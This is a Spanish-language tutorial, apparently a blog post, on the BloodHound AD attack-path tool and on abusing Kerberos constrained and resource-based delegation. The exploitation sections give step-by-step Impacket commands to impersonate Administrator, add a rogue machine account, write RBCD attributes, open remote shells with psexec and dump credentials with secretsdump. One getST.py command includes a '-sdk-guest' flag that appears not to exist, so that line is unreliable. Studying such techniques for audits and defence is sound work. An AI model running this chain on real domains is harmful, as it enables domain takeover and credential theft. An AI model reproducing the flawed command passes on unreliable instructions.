BloodHound auditoría de seguridad que utiliza la teoría de grafos en entornos de Active Directory Azure/Entra ID
BloodHound auditoría de seguridad que utiliza la teoría de grafos en entornos de Active Directory Azure/Entra ID
BloodHound es una herramienta de auditoría de seguridad que utiliza la teoría de grafos para revelar las relaciones y rutas de ataque ocultas en entornos de Active Directory (AD) y Azure/Entra ID. Permite identificar de forma visual cómo un usuario sin privilegios puede escalar permisos hasta convertirse en Administrador del Dominio.
Arquitectura de la herramienta
- Recolector (SharpHound / AzureHound): Script ejecutable en la red objetivo para recopilar sesiones, miembros de grupos y permisos ACLs en archivos JSON.
- Base de datos (Neo4j): Motor de base de datos orientado a grafos que almacena las relaciones recopiladas.
- Interfaz gráfica (BloodHound GUI): Aplicación basada en Electron para consultar rutas de ataque y visualizar los grafos.
Guía rápida de instalación y configuración en Kali Linux
- Instalar componentes desde repositorios:Bash
sudo apt update && sudo apt install bloodhound neo4j -y - Configurar la base de datos Neo4j:Bash
sudo neo4j console- Accede a
http://localhost:7474en el navegador. - Credenciales por defecto: usuario
neo4j/ contraseñaneo4j. Cambia la contraseña por una nueva cuando el sistema lo solicite.
- Iniciar BloodHound GUI:Abre una nueva terminal y ejecuta:Bash
bloodhoundIntroducebolt://localhost:7687, usuarioneo4jy tu nueva contraseña.
Flujo de trabajo básico
- Extrae datos del dominio objetivo usando el recolector en PowerShell desde una máquina de la red:PowerShell
Invoke-BloodHound -CollectionMethod All -ZipFileName datos_ad.zip - Importa el archivo
.zipgenerado en la interfaz de BloodHound usando la opción Upload Data. - Usa la pestaña Analysis para ejecutar consultas predefinidas como Find Shortest Paths to Domain Admins.
La delegación en Active Directory permite que un servicio suplante la identidad de un usuario para autenticarse frente a otros servicios en la red. En BloodHound, las relaciones de delegación reflejan configuraciones donde un atacante, tras comprometer la cuenta de origen (o controlar sus atributos), puede solicitar tickets de Kerberos en nombre de cualquier usuario (incluidos administradores del dominio) hacia los servicios autorizados.
1. AllowedToDelegate (Unconstrained / Constrained Delegation)
Concepto e Impacto
La relación
AllowedToDelegate indica que la cuenta de origen (habitualmente una cuenta de servicio o máquina) tiene configurada Delegación Restringida de Kerberos (Kerberos Constrained Delegation - KCD).Esta configuración utiliza dos extensiones del protocolo Kerberos:
- S4U2Self: Permite que el servicio solicite un ticket de servicio (ST) a nombre de cualquier usuario hacia sí mismo.
- S4U2Proxy: Permite utilizar ese ticket para solicitar un nuevo ticket de servicio a nombre de ese usuario hacia los servicios listados en su atributo
msDS-AllowedToDelegateTo.
Si comprometes la cuenta de origen (su contraseña, hash NTLM o clave Kerberos/AES), puedes suplantar a cualquier usuario (por ejemplo,
Administrator) ante la máquina objetivo especificada en el atributo.Explotación
Desde Kali Linux (con Impacket)
Si la cuenta comprometida es
web-service$ y tiene AllowedToDelegate hacia el SPN cifs/dc01.corp.local:- Obtener un Ticket de Servicio suplantando al Administrador:Bash
getST.py -sdk-guest -spn cifs/dc01.corp.local -impersonate Administrator 'corp.local/web-service$:Password123'Esto genera un archivo de ticket.ccache(por ejemplo,Administrator.ccache). - Cargar el ticket en la sesión actual:Bash
export KRB5CCNAME=Administrator.ccache - Acceder al servicio de destino como Administrador:Bash
smbclient.py -k -no-pass dc01.corp.local # O ejecutar comandos con psexec.py: psexec.py -k -no-pass dc01.corp.local
2. AllowedToAct (Resource-Based Constrained Delegation - RBCD)
Concepto e Impacto
La relación
AllowedToAct representa la Delegación Restringida Basada en Recursos (Resource-Based Constrained Delegation - RBCD). A diferencia de la delegación restringida clásica, en RBCD es el objeto destino (el recurso) el que especifica en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity qué cuentas tienen permiso para delegar autenticaciones hacia él.En BloodHound, esta relación aparece por dos motivos:
- Relación directa en el grafo: La cuenta origen ya está explícitamente listada en el atributo del destino.
- Abuso de derechos (RBCD Attack): Si el atacante tiene permisos de escritura sobre los atributos del equipo destino (relaciones como
GenericAll,GenericWrite,WriteDacloWriteProperty), puede configurar arbitrariamente una cuenta bajo su control en el atributomsDS-AllowedToActOnBehalfOfOtherIdentitydel objetivo para forzar la relaciónAllowedToAct.
Explotación
Caso de uso: Explotación completa de RBCD desde Kali Linux
Asumiendo que tienes control sobre la cuenta
UserA y permisos de escritura sobre el objeto equipo SERVER01$:- Crear una cuenta de equipo bajo tu control en el dominio (usando la cuota
ms-DS-MachineAccountQuotahabitual de los usuarios):Bashaddcomputer.py -computer-name 'ATTACKBOT$' -computer-pass 'BotPass123!' 'corp.local/UserA:Password123' - Escribir la delegación en el atributo del equipo objetivo:Bash
rbcd.py -delegate-to 'SERVER01$' -delegate-from 'ATTACKBOT$' -action write 'corp.local/UserA:Password123' - Solicitar el Ticket TGS suplantando a un Administrador mediante S4U:Bash
getST.py -impersonate Administrator -spn cifs/SERVER01.corp.local 'corp.local/ATTACKBOT$:BotPass123!' - Usar el ticket para comprometer la máquina objetivo:Bash
export KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass SERVER01.corp.local
Resumen de Diferencias en BloodHound
| Característica | AllowedToDelegate | AllowedToAct |
| Mecanismo | Constrained Delegation (Clásica) | Resource-Based Constrained Delegation (RBCD) |
| Dónde se define el permiso | En la cuenta de Origen (msDS-AllowedToDelegateTo) | En la cuenta de Destino (msDS-AllowedToAct...) |
| Prerrequisito de inicio | Comprometer las credenciales del nodo origen. | Comprometer nodo origen O tener permisos de escritura en el destino para inyectar el permiso. |
| Herramienta principal (Kali) | impacket-getST | impacket-addcomputer + impacket-rbcd + impacket-getST |